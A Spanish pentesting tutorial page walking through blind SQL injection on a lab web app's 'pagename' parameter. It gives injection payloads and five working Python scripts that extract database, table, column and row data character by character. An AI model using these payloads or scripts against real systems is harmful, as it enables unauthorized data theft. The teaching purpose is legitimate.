> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).
# Nombre de página SQLi
## Inyección SQL:
**Detección de una vulnerabilidad de inyección SQL** Al añadir una apóstrofe en el campo "home", aparece un error SQL, lo que proporciona una posible vulnerabilidad a un ataque de inyección SQL.
**Explotación de la vulnerabilidad de inyección SQL** Introduciendo la inyección SQL `/cms.php?pagename=home' or '1'='1`no aparece ningún error, confirmando la vulnerabilidad.
**Extracción del nombre de la base de datos con Substring** Ahora, con este punto de entrada, usamos el **substring** parámetro para encontrar los caracteres del nombre de la base de datos introduciendo letras hasta que desaparezcan los errores. Aquí hay un ejemplo para los tres primeros caracteres:
* Primera letra: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Segunda letra: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Tercera letra: `/cms.php?pagename=home' or substring(database(),3,1)='m` Primero, un script de Python puede automatizar todo el proceso para obtener **el nombre de la base de datos**.
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando la inyección SQL...")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 6 ):
for character in characters:
sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta SQLI concluido")
p2.success(data)
if __name__ == '__main__':
sqli()
Luego, un script de Python para automatizar todo el proceso para **obtener los nombres** de todas las bases de datos.
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando la inyección SQL...")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta SQLI concluido")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Ahora, un script de Python para automatizar todo el proceso para **obtener el nombre de las tablas** de la base de datos (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando la inyección SQL...")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta SQLI concluido")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Ahora, un script de Python para automatizar todo el proceso para **obtener el nombre de las columnas** de la base de datos (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando la inyección SQL...")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta SQLI concluido")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Ahora, un script de Python para automatizar todo el proceso para **obtener el contenido** de la columna pagename de la base de datos (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Saliendo.../n")
sys.exit(1)
#Ctrl +c
signal.signal(signal.SIGINT, def_handler)
#Variables globales
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
data = ""
p1 = log.progress("SQLI")
p1.status("Iniciando la inyección SQL...")
time.sleep(2)
p2 = log.progress("Datos")
for position in range(1, 500):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Ataque de fuerza bruta SQLI concluido")
p2.success(data)
if __name__ == '__main__':
sqli()
```
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